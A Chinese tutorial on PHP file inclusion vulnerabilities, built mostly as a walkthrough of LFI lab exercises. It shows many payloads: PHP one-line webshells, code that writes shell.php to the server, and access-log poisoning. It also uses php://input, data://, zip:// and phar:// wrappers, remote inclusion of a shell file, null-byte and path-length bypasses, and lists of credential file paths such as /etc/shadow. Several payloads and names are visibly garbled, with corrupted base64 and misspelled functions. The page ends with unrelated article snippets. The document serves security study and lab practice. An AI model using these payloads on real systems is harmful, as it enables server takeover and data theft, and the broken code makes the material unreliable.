[Web安全 网络安全]-文件包含漏洞
文章目录:
一:前言
1.什么是文件包含漏洞
2.文件包含漏洞的成因
3.文件包含漏洞的分类
4.文件包含漏洞的防御策略
5.文件包含函数(触发点Sink)
6.环境
6.1 靶场
6.2 其他工具
二:文件包含LFI labs靶场实验
LFI-1
LFI-2
LFI-3
LFI-4
LFI-5
LFI-6
LFI-7-14
三:文件包含漏洞的-利用方式
1.本地文件方式利用
1.1 包含日志文件获取webshell
1.2 利用file协议
1.3 php_filter命令获取flag
1.4 php_ zip命令压缩协议获取webshell
1.5 phar://协议
2.远程文件方式利用
2.1 包含远程文件
2.2 php_input命令执行及获取webshell
2.3 php_data命令获取webshell
四:文件包含漏洞的-绕过方式
1.本地文件绕过方式绕过
%00截断
路径长度截断/操作系统特性进行文件包含绕过(. ,/)
2.远程文件绕过方式绕过(?%23 %20 )
一:前言
1.什么是文件包含漏洞
定义:文件包含漏洞(File Inclusion Vulnerability)通常出现在动态网页中它允许攻击者在应用程序中任意包含本地或远程文件,从而导致敏感信息泄露、远程命令执行甚至完全控制目标系统为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来直接使用包含文件的代码简单来说:开发人员将需要重复的函数写入一个文件,对该文件进行包含时产生的操作目的:提高代码的重复利用率、减少代码冗余、降低代码后期维护难度
2.文件包含漏洞的成因
文件包含漏洞的成因:文件包含漏洞出现在PHP语言中,在未正确进行输入验证和过滤的用户提供的输入情况下在包含文件时候,为了灵活包含文件,将被包含文件设置为变量,通过动态变量来引入需要包含的文件时用户可以对变量的值可控而服务器端未对变量值进行合理地校验或者校验被绕过,这样就导致了文件包含漏洞简单来说:加载的参数没有经过过滤或严格定义,可以被用户控制,,包含其他恶意文件导致执行非预期代码<?php $file=$_GET['filename'];include($filename);//...?>http://xxx/xxx.php?filename=show.php改变filename值即可改变代码中含有的文件
3.文件包含漏洞的分类
文件包含的内容只要符合php语法:都能被当成php代码进行解析,无关后缀名是什么
文件包含漏洞的分类本地文件包含(Local File Inclusion, LFI):当被包含的文件位于服务器本地时,就形成了本地文件包含漏洞攻击者可以利用这个漏洞读取服务器上的敏感文件,如配置文件、数据库文件等,甚至执行服务器上的恶意脚本例子:http://localhost/filename/?page=c:/windows/win.ini远程文件包含(Remote File Inclusion, RFI):当被包含的文件位于第三方服务器时,就形成了远程文件包含漏洞这种漏洞允许攻击者包含并执行远程服务器上的恶意脚本url文件,从而对目标系统造成更大的威胁但需要注意的是,远程文件包含漏洞的利用通常需要服务器配置中的allow_url_include选项被开启php.ini中设置:php.ini中设置allow url fopen =On(默认)、allow url include= On(php5.2后默认为Off)allow_url_fopen:为ON时,能读取远程文件,默认;例如file_get_contents()就能读远程文件Alow_url_include:为ON时,就可使用include和require等方式包含远程文件例子:http://localhost/filename/?page=../../../phpinfo.php例子:http://localhost/filename/?page=phpinfo.txxphpinfo.txt <?php phpinfo();?>
4.文件包含漏洞的防御策略
文件包含漏洞的防御策略过滤危险字符:使用如str_replace等方法过滤掉用户输入中的危险字符配置open_basedir:通过配置php.ini中的open_basedir指令,限制PHP能够打开的文件目录,防止目录遍历使用安全的文件包含函数:推荐使用include_once()和require_once()函数来包含文件,这些函数可以防止文件被包含多次验证用户输入:在包含文件之前,验证用户输入是否是有效的,防止攻击者通过提交恶意文件来触发文件包含漏洞使用白名单:对于动态包含的文件,可以设置一个白名单,只包含白名单中的文件做好权限管理:确保文件和目录的权限设置合理,防止非授权用户访问敏感文件使用Web应用程序防火墙(WAF):WAF可以阻止攻击者利用文件包含漏洞进行恶意攻击过滤.(点)/(反斜杠)\(反斜杠)禁止服务器远程文件包含尽量不要使用动态包含,可以在需要包含的页面固定写好
5.文件包含函数(触发点Sink)
require组 | require | 函数出现错误,会直接报错并退出程序执行 |
require_once | 函数出现错误,会直接报错并退出程序执行;仅包含一次 | |
include组 | include | 函数出现错误,会抛出一个警告,程序继续执行 |
include_once | 函数出现错误,会抛出一个警告,程序继续执行;仅包含一次 |
代码审计时间用
Include:如果包含的文件有错误/路径有错误,会继续执行,不会影响整个程序; 有返回值如果指定的文件不存在,PHP会发出一个警告(E_WARNING),但脚本会继续执行include 可以在脚本的任意位置使用,以引入需要的功能代码Include_once:只包含一次require:如果包含的文件有错误/路径有错误,会继续执行, 会影响整个程序;没有返回值如果指定的文件不存在,PHP会发出一个致命错误(E_COMPILE_ERROR),并停止脚本的执行。这通常用于那些缺少了就无法继续执行的文件require once:与 require 类似,但它在引入文件之前会检查该文件是否已经被引入过,以避免重复引入highlight_file():用于输出文件并语法高亮显示这对于查看PHP源代码特别有用,因为它会以HTML格式显示文件内容,并尝试对PHP代码进行语法高亮show_source():与 highlight_file() 类似,但它直接输出或返回文件的源代码,而不是通过浏览器显示它同样尝试对PHP代码进行语法高亮readfile():将整个文件读入一个字符串,并将文件内容输出,这个函数主要用于直接输出文件到浏览器或客户端file_get_contents():将整个文件读入一个字符串与 readfile() 不同,file_get_contents() 不会直接输出文件内容,而是将内容存储在变量中,供后续处理fopen():用于打开文件或URL返回一个文件指针资源,之后可以使用其他文件操作函数(如 fread()、fwrite()、fclose() 等)对文件进行读写操作file(): 将整个文件读入一个数组中,每个元素都是文件的一行。这对于逐行处理文件内容非常方便
6.环境
6.1 靶场
LFI labs:lfi-labs、lfi-labs-master镜像地址
Bugku CTF:由乌云知识库(wooyun.org)推出的在线漏洞靶场
pikachu:带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞
DVWA:是一个PHP/MySQL Web应用程序,包含常见漏洞,用于安全培训和练习,可参考
6.2 其他工具
phpSdudy
burp
中国菜刀
二:文件包含LFI labs靶场实验
绕过方式 | 不带后缀绕过 |
%00截断 | |
加点.绕过 | |
加斜杠点/.绕过 | |
深入目录../../绕过 | |
双写../绕过 或者 ../替换空格绕过 |
phpinfo.php<?php phpinfo(); ?>webshell.php {eval() 函数把字符串按照 PHP 代码来计算}<?php @eval($_POST([margin])); ?>
LFI-1
Load URL地址:http://www.lfi.com/LFI-1/后台代码<?php include($_GET["page"]); ?>获取系统敏感文件http://www.lfi.com/LFI-1/?page=c:\\boot.ini获取webshell http://www.lfi.com/LFI-1/?page=phpinfo.phphttp://www.lfi.com/LFI-1/?page=phpinfo.jpghttp://www.lfi.com/LFI-1/?page=phpinfo.txthttp://www.lfi.com/LFI-1/?page=../webshell.php
LFI-2
Load URL地址:http://www.lfi.com/LFI-2/后台代码<?php include("includes/".$_GET['library'].".php"); ?>获取系统敏感文件http://www.lfi.com/LFI-2/?library=c://boot.iniinclude("includes/c://boot.ini.php"); 绝对路径http://www.lfi.com/LFI-2/?library=c://boot.ini%00 %00截断include("includes/c://boot.ini%00.php"); include("includes/c://boot.ini .php"); 相对路径http://www.lfi.com/LFI-2/?library=../boot.ini%00 http://www.lfi.com/LFI-2/?library=../../boot.ini%00 http://www.lfi.com/LFI-2/?library=../../../boot.ini%00 include("includes/../../../boot.ini%00.php"); include("includes/../../../boot.ini .php"); http://www.lfi.com/LFI-2/?library=../../../phpinfo.php%00 获取webshellhttp://www.lfi.com/LFI-2/?library=../../../webshell.php%00
LFI-3
Load URL地址:http://www.lfi.com/LFI-3/后台代码<?php if(substr($_GET['file'],-4,4)!= '.php') //从结尾倒数第四个开始,取4个长度echo file_get_contents($_GET['file']);elseecho 'you are not allowed to see source files'."\n";?>获取系统敏感文件http://www.lfi.com/LFI-3/?file=c://boot.ini 可以查看http://www.lfi.com/LFI-3/?file=../phpinfo.ini 不可以查看http://www.lfi.com/LFI-3/?file=../phpinfo.ini%00 没有提示http://www.lfi.com/LFI-3/?file=../../../../phpinfo.ini%00 还是不可以http://www.lfi.com/LFI-3/?file=../../phpinfo.php. 加点.绕过http://www.lfi.com/LFI-3/?file=../../phpinfo.php/. 加斜杠点/.绕过http://www.lfi.com/LFI-3/?file=../../phpinfo.php%00 利用burp工具抓包%00截断
LFI-4
Load URL地址:http://www.lfi.com/LFI-4/后台代码//---------------------------------------------------------------------------------//addslashes()函数:返回在预定义字符之前添加反斜杠的字符串 在他们{' " \ NULL}之前添加\如果用%00截断,他们的区别../../../../../phpinfo.php../../../../../phpinfo.php\0 //---------------------------------------------------------------------------------//<?php $path = "includes/class_'.addslashes($_GET(['class'])).'.php ";echo file_get_contents($path);?>获取系统敏感文件http://www.lfi.com/LFI-4/?class=../phpinfo 不可以查看http://www.lfi.com/LFI-4/?class=../../../../../phpinfo 可以查看(深入目录../../绕过)如果$path = "includes/class_'.($_GET(['class'])).'.php ";http://www.lfi.com/LFI-4/?class=../../../../../phpinfo%00 也可以查看
LFI-5
Load URL地址:http://www.lfi.com/LFI-5/后台代码<?php $file=str_replace('../','',$_GET('file'));if(isset($file))include("page/$file");elseinclude("index.php");?>获取系统敏感文件http://www.lfi.com/LFI-5/?file=c://boot.ini 不可以查看http://www.lfi.com/LFI-5/?file=../../phpinfo.php 不可以查看http://www.lfi.com/LFI-5/?class=..././..././../phpinfo.info 可以查看(双写../绕过 或者 ../替换空格绕过)
LFI-6
Load URL地址:http://www.lfi.com/LFI-6/后台代码<?php include($_POST["page"]);?>获取系统敏感文件http://www.lfi.com/LFI-6/?page=c://boot.ini 可以查看http://www.lfi.com/LFI-6/?page=../../phpinfo.php 可以查看获取webshell:但是POST文件包含无法直接获取,需要加工一下(文件包含写shell)第一步:image.jpg在图片里面写入:小马<?php fputs(fopen("shell.php","w"), '<?php eval($_POST[shell])?>'); ?>第二步:勾选enable post data,执行会生成一个shell.phphttp://www.lfi.com/LFI-6/?page=../../image.php 第三步:访问查看http://www.lfi.com/LFI-6/?page=../../shell.php 可以查看
LFI-7-14
第七题POST方式提交1ibrary=../../../phpinfo.php%00 %00截断或者 1ibrary=../../../phpinfo 不带后缀第八题POST提交http://www.lfi.com/LFI-3/?file=../../phpinfo.php%00 %00截断 或者 phpinfo.php/. /.绕过第九题POST提交class=../../../../../phpinfo 不带后缀 第十题POST提交fi1e=..././..././..././phpinfo.php 双写../替换为空第十一题POST:stylepath=../../phpinfo.php hidden隐藏的输入框 两个参数(分别试一试) 第十二题GET :stylepath=../../phpino.php hidden隐藏的输入框 两个参数(分别试一试)第十三题GET 方式:fi1e=..././..././..././phpinfo.php 双写../替换为空 十四题POST方式:file=..././..././..././phpinfo.php 双写../替换为空
三:文件包含漏洞的-利用方式
PHP支持的协议和封装协议 | |
file:// | 访问本地文件系统 |
http:// | 访问HTTP(s)网址 |
fpt:// | 访问FPT(s) URLs |
php:// | 访问各个输入/输出流(I/O streams) |
zlib:// | 压缩流 |
data:// | 数据(RFC 2397) |
glob:// | 查找匹配的文件路径模式 |
phar:// | PHP文档 |
ssh2:// | Secure Shell 2 |
rar:// | RAR |
ogg:// | 音频流 |
expect:// | 处理交互式的流 |
文件包含漏洞的利用方式直接包含恶意文件:攻击者可以通过URL参数直接指定恶意文件的路径,使应用程序包含并执行该文件利用伪协议:如php://filter、data://等,这些伪协议允许攻击者控制输入流,将恶意代码作为输入流传递给应用程序php://filter 是一种元封装器 ,设计用于数据流打开时的筛选过滤应用data:// 同样类似与php://input,可以让用户来控制输入流php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行phar://xxx.png/shell.php 解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压包含日志文件:通过包含服务器的日志文件(如Apache的access.log或error.log)来执行日志中的恶意代码包含session00截断长度截断(Windows:256;Linux:4096)
1.本地文件方式利用
1.1 包含日志文件获取webshell
日志默认路径 | |
apache+Linux日志默认路径 | /etc/httpd/logs/access_log |
/var/log/httpd/access_log | |
apache+win2003日志默认路径 | D:\xampp\apache\logs\access.log D:\xamppiapache\logs\error.log |
IIS6.0+win2003默认日志文件 | C:WINDOUS\system32\Logfiles |
IIS7.0+win2003 默认日志文件 | %SystemDrives%\inetpub\logs\LogFiles |
nginx日志文件 | 日志文件在用户安装目录logs目录下 以我的安装路径为例/usr/local/nginx 那我的日志目录就是在/usr/local/nginx/logs里 |
敏感文件默认路径列举 | ||
windows系统 | C:\boot.ini | 查看系统版本 |
C:\windows\system32\inetsrvMetaBase.xml | iis配置文件 | |
C:\windowslrepairlsame | 存储windows系统初次安装密码 | |
C:\ProgramFilesmysqlmy.ini | mysql配置信息 | |
C:\ProgramFiles\mysql\data\mysqluser.MYD | mysql root密码 | |
C:\lwindowslphp.ini | php配置信息 | |
linux/unix系统 | /etc/passwd | 账户信息 |
/etc/shadow | 账户密码文件 | |
/usr/local/app/apache2/conf/httpd.conf | Apache2默认配置文件 | |
/usr/local/app/apache2/conf/extra/httpd-vhost.conf | 虚拟网站配置 | |
/usr/local/app/php5/lib/php.ini | php相关配置 | |
/etc/httpd/conf/httpd.conf | apache配置信息 | |
/etc/my.conf | mysql配置文件 |
Load URL地址:http://www.lfi.com/LFI-1/访问日志文件http://www.lfi.com/LFI-1/page=c:\phpStudy\Apache\logs\datafile.log查看一句话木马第一步:写入http://www.lfi.com/LFI-1/<?php phpinfo(); ?>http://www.lfi.com/LFI-1/?page=../../phpinfo.php第二步:查看http://www.lfi.com/LFI-1/page=c:\phpStudy\Apache\logs\datafile.loghttp://www.lfi.com/LFI-1/page=..\..\..\Apache\logs\datafile.log特殊字符被url编码问题:用burp抓包 获取url页面 第一步:执行 http://www.lfi.com/LFI-1/第二步:修改 GET /LEI-1/HTTP/1.1 GET /LEI-1/<?php phpinfo(); ?> HTTP/1.1 第三步:查看http://www.lfi.com/LFI-1/page=c:\phpStudy\Apache\logs\datafile.log获取一句话木马第一步:执行 http://www.lfi.com/LFI-1/第二步:修改 GET /LEI-1/HTTP/1.1 GET /LEI-1/<?php @eval($_POST([margin])); ?> HTTP/1.1 第三步:查看http://www.lfi.com/LFI-1/page=c:\phpStudy\Apache\logs\datafile.log
1.2 利用file协议
php.ini中设置allow url fopen =off)、allow url include= off)
Load URL地址:http://www.lfi.com/php/?page=http:192.168.1.239/DVWA-master/valnerabilities/fi/?page=file://c:/windows/win.ini
1.3 php_filter命令获取flag
php://fi1ter 是一种元封装器,设计用于数据流打开时的筛选过滤应用 这对于一体式(all-in-one)的文件函数非常有用,类似 readfle()、fle()和 fle_get_contents(),在数据流内容读取之前没有机会应用其他过滤器php://fi1ter参数resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔<;两个链的筛选列表> 任何没有以 read=或 write=作前缀 的筛选器列表会视情况应用于读或写链
Load URL地址:http://www.lfi.com/php/php_filter.php编码文件Load URL地址:http://www.lfi.com/php/php_filter.php?file=php://filter/read=covert.base64-encode/resource=php_filter.php解码文件:利用burp(decode as——>base64)读取flag.php文件——>利用burp解码Load URL地址:http://www.lfi.com/php/php_filter.php?file=php://filter/read=covert.base64-encode/resource=flag.php获取flaghttp://www.lfi.com/php/php_filter.php
1.4 php_ zip命令压缩协议获取webshell
Load URL地址:http://www.lfi.com/php/php_zip.phpzip//、bzip2://、zlib//协议压缩流版本,利用条件按为php版本大于5.3.0格式:zip://[压缩文件绝对路径]#[压缩文件内的子文件名]获取压缩包里面的文件:backdoor.phphttp://www.lfi.com/php/php_zip.php?file=uploadhttp://www.lfi.com/php/php_zip.php?file=zip://c:\phpstudy\etc.zip%23backdoor.php
1.5 phar://协议
类似于zip协议,但是可以使用相对路径格式:phar://[压缩文件绝对/相对路径]压缩文件内的子文件名]上传http://www.lfi.com/php/php_zip.php?file=phar://../../phpstudy/etc.zip/backdoor.phpbackdoor.php<?php fputs(fopen("shell.php","w"), '<?php eval($_POST["cmd"])?>'); ?><?php phpinfo(); ?>访问shell.phphttp://www.lfi.com/php/shell.php
2.远程文件方式利用
2.1 包含远程文件
php.ini中设置allow url fopen =On(默认)、allow url include= On(php5.2后默认为Off)
Load URL地址:http://www.lfi.com/php/?page=http:192.168.1.239/phpinfo.php远程包含shellhttp://www.lfi.com/php/?page=http:192.168.1.239/DVWA-master/valnerabilities/fi/?page=http://localhost/remoteshell.txtremoteshell.txt<?php$payload="<?php eval(\$_POST['&cmd'])?>":$myfile =fopen('demo.php','w) or die("can't open the file!");fwrite($myfile,$payload);fclose($myfile);?>
2.2 php_input命令执行及获取webshell
php.ini中设置allow url fopen =Off、allow url include= On
Load URL地址:http://www.lfi.com/php/page=php://input获取phpinfo页面http://www.lfi.com/php/php_input.php?file=php://input <?php phpinfo();?>获取当前操作系统目录http://www.lfi.com/php/php_input.php?file=php://input <?php syetem("dir");?>获取目录里面内容:在服务器上写入小马http://www.lfi.com/php/php_input.php?file=php://input <?php fputs(fopen("shell.php","w"), '<?php eval($_POST[margin]);?>'); ?>访问shell.phphttp://www.lfi.com/php/shell.php
2.3 php_data命令获取webshell
php.ini中设置allow url fopen =Off、allow url include= On
Load URL地址:http://www.lfi.com/php/php_data.php获取phpinfo文件页面http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>base <?php phpinfo()?>编码http://127.0.0,1/cmd,php?file=data://text/plain;base64.pp9waHAgcGhwaw5mbygpPz4==http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>http://127.0.0.1/cmd.php?file=data:text/plain;base64,Pb9waHagcGhwaW5mbvgpPz4写入小马http://127.0.0.1/cmd.php?file=data://text/plain,<?PHP fputs(fopen("shell.php","w",'<?php eval($ posT[margin]);?>');?>访问shell.phphttp://www.lfi.com/php/shell.php
四:文件包含漏洞的-绕过方式
这里可以参考之前的方法:问号、空格、注释、双写、大小写、截断等
1.本地文件绕过方式绕过
<?php include("inc/" .$_GET['file'] . ".htm");?>
%00截断
原理:php内核由c语言实现,因此使用了c语言中的字符串处理函数,在连接字符串时0字节作为字符串的结束符 %00url解码为0x00,magic quotes gps开启时会将%00转义为\0的两个单体字符,故不具备截断功能条件:magic quotes gps=off php版本<5.3.4?page=../../../../phpinfo.php%00%00截断目录遍历:条件:magic_quotes_gps=off unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris?page=../../../../var/www/%00
路径长度截断/操作系统特性进行文件包含绕过(. ,/)
文件名不能包含下列任何字符之一:\ / : * ? < > |
Load URL地址:http://www.lfi.com/LFI-1/php版本小于5.2.8后台代码:在php5.3版本以后就不可以使用00截断<?php include($_GET["page"]."html"); ?>解决办法文件后缀上有多个或单个的点,会被自动消除文件名大于256个字符会自动被丢弃掉绕过办法backdoor.php(<?php phpinfo()?>) http://www.lfi.com/LFI-1/?page=backdoor.php.....大于256个. 或者大于256个././././Windows下目录最大长度为256字节,超出的部分会被丢弃linux 下目录最大长度为4096字节,超出的部分会被丢弃
2.远程文件绕过方式绕过(?%23 %20 )
<?php$basePath =$_GET['path'];require_once $basePath ."/action/m_share.php"; ?>绕过方式http://192.168.1.239/DVWA-master/vulnerabilities/fi/?page=http://localhost/shell.php?代码实际执行了:require once http://localhost/shell.php?/action/m share.php将/action/m share.php作为http://localhost/shell.php的querystring查询字符串http://192.168.1.239/DVWA-master/vulnerabilities/fi/?page=http://locahost/shell.php%23http://192.168.1.239/DVWA-master/vulnerabilities/fi/?page=http://localhost/shell.php%20
相关文章:

[Web安全 网络安全]-文件包含漏洞
文章目录: 一:前言 1.什么是文件包含漏洞 2.文件包含漏洞的成因 3.文件包含漏洞的分类 4.文件包含漏洞的防御策略 5.文件包含函数(触发点Sink) 6.环境 6.1 靶场 6.2 其他工具 二:文件包含LFI labs靶场实验…...

使用soui4实现一个拾色器
拾色器类 #pragma once class CClrPickerCtrl : public SWindow {DEF_SOBJECT(SWindow, L"clrpicker") public:CClrPickerCtrl(void);~CClrPickerCtrl(void);//跟solider控件设置色调void SetSliderPos(int nPos);//获取选取位置的颜色COLORREF GetColor(); protect…...

Thinkphp5 + Swoole实现邮箱异步通知
在 ThinkPHP 中实现邮箱异步通知的常见做法是通过队列系统来处理异步任务,结合 Swoole 来处理异步发送邮件的请求。这样可以避免同步处理邮件发送导致的阻塞,提高响应速度。 以下是基于 ThinkPHP5 框架和 Swoole 的异步邮件通知实现步骤: 一…...

LLM - 理解 多模态大语言模型 (MLLM) 的预训练与相关技术 (三)
欢迎关注我的CSDN:https://spike.blog.csdn.net/ 本文地址:https://spike.blog.csdn.net/article/details/142063880 免责声明:本文来源于个人知识与公开资料,仅用于学术交流,欢迎讨论,不支持转载。 完备(F…...

工具篇之Joda-Time
在Java应用程序开发中,处理日期和时间是一项常见且复杂的任务。尽管Java标准库提供了基本的日期和时间操作类,但它们的使用常常不够直观和灵活。Joda-Time 是一个强大的日期和时间库,提供了丰富的API,用于简化日期和时间的操作。本…...

架构师应该懂得东西,软考应该具备的
架构师应该懂得知识 架构师作为软件系统设计和开发的关键角色,需要掌握广泛的知识和技能。具体来说,他们应该懂得以下几方面的知识: 编程语言:掌握至少一种编程语言,如Java、C、Python等,以便于进行系统设…...

图论篇--代码随想录算法训练营第五十一天打卡| 99. 岛屿数量(深搜版),99. 岛屿数量(广搜版),100. 岛屿的最大面积
99. 岛屿数量(深搜版) 题目链接:99. 岛屿数量 题目描述: 给定一个由 1(陆地)和 0(水)组成的矩阵,你需要计算岛屿的数量。岛屿由水平方向或垂直方向上相邻的陆地连接而…...

什么是API网关(API Gateway)?
1. 什么是API网关(API Gateway)? 在微服务体系结构中,客户端可能与多个前端服务进行交互。 API 网关位于客户端与服务之间。 它充当反向代理,将来自客户端的请求路由到服务。 它还可以执行各种横切任务,例…...

对话:LLC磁集成能否成为充电桩模块电源常态产品?
编者按:在终端需求疲软的影响下,前两年火热的新能源汽车、光伏、储能等新能源领域也掀起了价格战,储能已正式进入0.5元时代,新能源汽车领域价格战更是一轮接一轮,成本管控成为2024年企业绕不开的话题。 接下来我们将围…...

基于SSM的二手物品交易管理系统的设计与实现 (含源码+sql+视频导入教程+文档+PPT)
👉文末查看项目功能视频演示获取源码sql脚本视频导入教程视频 1 、功能描述 基于SSM的二手物品交易管理系统7拥有两种角色 管理员:用户管理、分类管理、商品管理、订单管理、系统管理等 用户:登录注册、充值、收货、评价、收藏、购物车、订…...

视觉语言模型中的人脸社会感知
本文研究了视觉语言模型CLIP在处理人脸图像时的社会感知能力及其潜在偏见。研究者们构建了一个名为CausalFace的合成人脸数据集,通过系统地独立变化年龄、性别、人种、面部表情、照明和姿势等六个维度来评估模型的社会感知。他们发现,尽管CLIP是在多样化…...

JAVA学习-练习试用Java实现“最小覆盖子串”
问题: 给定一个字符串 s 、一个字符串 t 。返回 s 中涵盖 t 所有字符的最小子串。如果 s 中不存在涵盖 t 所有字符的子串,则返回空字符串 "" 。 注意:如果 s 中存在这样的子串,我们保证它是唯一的答案。 示例 1&…...

关于axios同步获取数据的问题
axios同步获取数据 Axios介绍问题代码修改 总结 Axios介绍 Axios 是一个基于 promise 网络请求库,作用于node.js 和浏览器中。 它是 isomorphic 的(即同一套代码可以运行在浏览器和node.js中)。在服务端它使用原生 node.js http 模块, 而在客户端 (浏览端) 则使用 X…...

java-在ANTLR中,如何从java文件中提取类名和方法名0.1.8
java-在ANTLR中,如何从java文件中提取类名和方法名0.1.0 目标java源文件java的g4文件生成antlr代码最终代码调测结果阶段性总结 2024年9月12日11:16:01----0.1.8 目标 从一个java文件中提取出类名和方法名 java源文件 文件名是main.java,具体内容如下…...

十大护眼灯钢琴灯品牌是智商税吗?十大钢琴灯品牌排行榜
十大护眼灯钢琴灯品牌是智商税吗?不良的光线不仅会使得孩子在读写用眼时眼睛不舒服,还会引起视觉疲劳伤眼视力健康,这个时候要能有一台可靠的护眼灯钢琴灯,那真是再好不过了。但是市面上护眼灯钢琴灯的种类太多,盲目挑…...

搜维尔科技:CyberGlove将实时捕捉运动信号和触觉反馈,将其重新定位到人形机器人进行驱动
CyberGlove将实时捕捉运动信号和触觉反馈,然后将其重新定位到人形机器人上。 这款18个传感器(有18节点和22节点两个型号,22节点早期用于美国军事方面,支持无线通信、蓝牙、WiFi、射频)数据手套的每个手指上有两个弯曲…...

数据结构:堆的算法
目录 一堆的向上调整算法二堆的向下调整算法三堆的应用:堆排序四TOPK问题 一堆的向上调整算法 我们在堆中插入一个数据一般实在堆的最后插入然后可以一步一步与上层结点(父结点进行比较),继而进行交换,完成二叉树的结构࿰…...

python画图|3D直方图基础教程
前述已经完成了直方图和3D图的基本学习,链接如下: 直方图:python画图|水平直方图绘制-CSDN博客 3D图:python画图|水平直方图绘制-CSDN博客 现在我们尝试把二者结合,画3D直方图。 【1】官网教程 首先,依…...

C语言中的函数,实参,形参,递归
1:什么是函数 2:定义带形式参数的函数和带实际参数的函数 3:递归 --------------------------------------------------------------------------------------------------------------------------------- 1:在 C 语言中&…...

ICM20948 DMP代码详解(15)
接前一篇文章:ICM20948 DMP代码详解(14) 上一回开始对icm20948_sensor_setup函数中第3段代码即inv_icm20948_initialize函数进行解析。为了便于理解和回顾,再次贴出其源码,在EMD-Core\sources\Invn\Devices\Drivers\IC…...

NC 和为K的连续子数组
系列文章目录 文章目录 系列文章目录前言 前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章男女通用,看懂了就去分享给你的码吧。 描述 给定一个无序…...

JS设计模式之装饰者模式:优雅的给对象增添“魔法”
引言 在前端开发中,我们经常会遇到需要在不修改已有代码的基础上给对象添加新的行为或功能的情况。而传统的继承方式并不适合这种需求,因为继承会导致类的数量急剧增加,且每一个子类都会固定地实现一种特定的功能扩展。 装饰者模式则提供了…...

准备好了吗?JAVA从业AI开发的学习路线详解
作为一个拥有扎实 Java 基础的人,想要涉足人工智能(AI)应用开发,你已经在编程能力方面打下了很好的基础。Java 是一种通用的、强类型的语言,非常适合于开发高性能的应用程序,尤其是在后端服务和大规模分布式…...

神经网络通俗理解学习笔记(1)
神经网络通俗理解学习笔记(1) 神经网络原理激活函数前向传播和反向传播多层感知机代码实现加载数据网络结构损失函数优化器训练测试保存 回归问题一元线性回归多元线性回归多项式回归 线性回归代码实现数据生成设置超参数初始化参数可视化Pytorch模型实现…...

有n个人,他们需要分配m元钱(m>n),每个人至少分到1元钱,且每个人分到的钱数必须是整数。请问有多少种分配方案?
分配方案 描述 有n个人,他们需要分配m元钱(m>n),每个人至少分到1元钱,且每个人分到的钱数必须是整数。请问有多少种分配方案? 输入 一行,两个整数,分别是人数n与钱数m,用一个空格隔开。 输出 一行&am…...

光耦——创新引擎 助推中国经济高质量发展
近年来,中国经济正处于转型升级的关键时期,高质量发展成为经济发展的重要目标。在这一伟大征程中,光耦作为一种关键性的电子元器件,正在发挥着重要的作用,助力中国经济迈向更加光明的未来。 光耦概念及工作原理 ▲光耦…...

Go 中 RPC 的使用教程
前言 RPC(Remote Procedure Call)是一种允许程序调用远程服务器上函数的方法,调用过程对于开发者来说像是调用本地函数一样方便。Go 语言自带了强大的 net/rpc 库,能够让开发者轻松实现基于 Go 的 RPC 服务。本文将介绍 Go 中 RP…...

挖耳勺可以伸进耳朵多深?安全可视挖耳勺推荐!
一般来说,挖耳勺不应该伸进耳朵太深,外耳道的长度大约在2.5厘米到3.5厘米之间,但不建议将挖耳勺伸进超过外耳道外1/3的深度,也就是大概1厘米左右较为安全。因为如果伸得太深,很容易损伤外耳道皮肤,引起疼痛…...

SuperMap GIS基础产品FAQ集锦(20240911)
一、SuperMap iObjects Java 问题1:【iObject Python】Objects Python产品有哪些能力特性和优势? 11.2.0 【解决办法】iObjects Python产品包含传统GIS功能(基于iObjects Java扩展的功能接口)和AI GIS功能模块。 其中传统GIS功能…...

从状态管理到性能优化:全面解析 Android Compose
文章目录 引言一、Android Compose基本概念1.1 什么是Android Compose?1.2 Compose的优势1.3 如何在项目中使用Compose 二、Compose中的状态管理2.1 状态管理的重要性2.2 Compose中的状态和数据流2.3 使用State和MutableState处理状态2.4 通过ViewModel进行状态管理 三、Compo…...